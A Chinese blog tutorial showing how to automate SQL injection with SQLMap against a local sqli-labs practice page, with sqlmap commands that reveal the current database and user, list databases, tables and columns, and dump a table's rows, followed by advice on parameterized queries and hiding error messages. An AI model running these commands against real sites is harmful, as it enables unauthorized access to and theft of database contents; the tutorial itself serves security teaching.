SQL进阶理论篇(二十一):基于SQLMap的自动化SQL注入

文章目录

简介

从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的,只需要通过访问information_schema表就可以将数据库的信息全部暴露出来。

接下来我们了解下SQLMap工具,它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具,再重现一下上一节做的人工注入的步骤。

获取当前数据库和用户信息

执行以下命令:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user

--current-db表示获取当前数据库名称;

--current-user表示获取当前用户的信息

然后你可以看到SQLmap帮我们获取了相应的结果:

获取MySQL中的所有数据库名称

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs

这里我们使用--threads来指定SQLmap的最大并发数,通常不要超过10。

于是它帮我们获取了当前MySQL中的8个数据库名称:

查询wucai数据库中的所有数据表

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables

-D表示待查询的数据库的库名;

--tables表示显示出所有数据表名称;

查看heros数据表中的所有字段

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns

-T表示指定的数据表名称;

--columns表示对所有字段名称进行查询;

查询heros表中的英雄信息

执行:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump

-C后面表示需要查询的字段名;

--dump表示展示具体数据。

至此,整个数据库对我们来说,就是不设防的状态了。

总结

总之,代码规范性对web安全来讲,非常重要,尽量不要采用直接拼接的方式进行查询,一定要拼接的话,必须在后端提前做好参数验证(如java的sqlparameter),不能因为在前端验证完参数就认为安全了,前端的验证是很容易被绕过的。

同时,web上线之后,还需要将生产环境中的错误提示信息关闭,坚决不能给不法分子可乘之机,以减少被SQL 注入的风险。

此外,我们也可以采用第三方的工具,比如SQLmap来对web应用进行检测,以增强web安全性。

当然,本节讲的内容都很基础,现在真正的SQL注入攻防,可比本节展示的内容复杂多了。

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?
相关推荐
逸巽散人3 小时前
SQL基础教程
数据库·sql·oracle
月空MoonSky3 小时前
Oracle中TRUNC()函数详解
数据库·sql·oracle
Mephisto.java4 小时前
【力扣 | SQL题 | 每日四题】力扣2082, 2084, 2072, 2112, 180
sql·算法·leetcode
-seventy-6 小时前
SQL语句 (MySQL)
sql·mysql
coderWangbuer11 小时前
基于springboot的高校招生系统(含源码+sql+视频导入教程+文档+PPT)
spring boot·后端·sql
数据龙傲天12 小时前
1688商品API接口:电商数据自动化的新引擎
java·大数据·sql·mysql
Elastic 中国社区官方博客12 小时前
Elasticsearch:使用 LLM 实现传统搜索自动化
大数据·人工智能·elasticsearch·搜索引擎·ai·自动化·全文检索
cyt涛13 小时前
MyBatis 学习总结
数据库·sql·学习·mysql·mybatis·jdbc·lombok
与衫14 小时前
掌握嵌套子查询:复杂 SQL 中 * 列的准确表列关系
android·javascript·sql
南种北李1 天前
Linux自动化构建工具Make/Makefile
linux·运维·自动化